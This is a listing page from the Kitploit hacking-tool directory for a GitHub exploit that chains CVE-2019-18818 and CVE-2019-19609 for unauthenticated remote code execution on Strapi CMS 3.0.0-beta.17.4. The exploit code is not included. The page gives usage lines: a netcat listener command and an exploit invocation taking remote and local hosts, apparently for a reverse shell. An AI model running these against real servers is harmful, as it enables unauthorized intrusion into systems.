Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/glowbase/cve-2019-19609
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubglowbase/cve-2019-19609

CVE-2019-19609

Strapi CMS 3.0.0-beta.17.4 - Unauthenticated Remote Code Execution (CVE-2019-18818, CVE-2019-19609)

View Repository
214 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Strapi CMS Exploit

This exploit targets two vulnerabilities in the Strapi CMS Framework version 3.0.0-beta-17.4 allowing for unauthenticated remote code execution (RCE).

 

Vulnerabilities

CVE-2019-18818

Weak Password Recovery Mechanism for Forgotten Password

CVSS: 9.8 - Critical

More details: https://nvd.nist.gov/vuln/detail/CVE-2019-18818

CVE-2019-19609

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CVSS: 7.2 - High

More details: https://nvd.nist.gov/vuln/detail/CVE-2019-19609

 

Usage:

Before running this exploit, start a netcat listener on the lport you specify in the below options.

Start netcat listener

root@kitploit:~
nc -lnvp <lport>

Run exploit

root@kitploit:~
exploit.py <rhost> <lhost> <lport>
Download Tool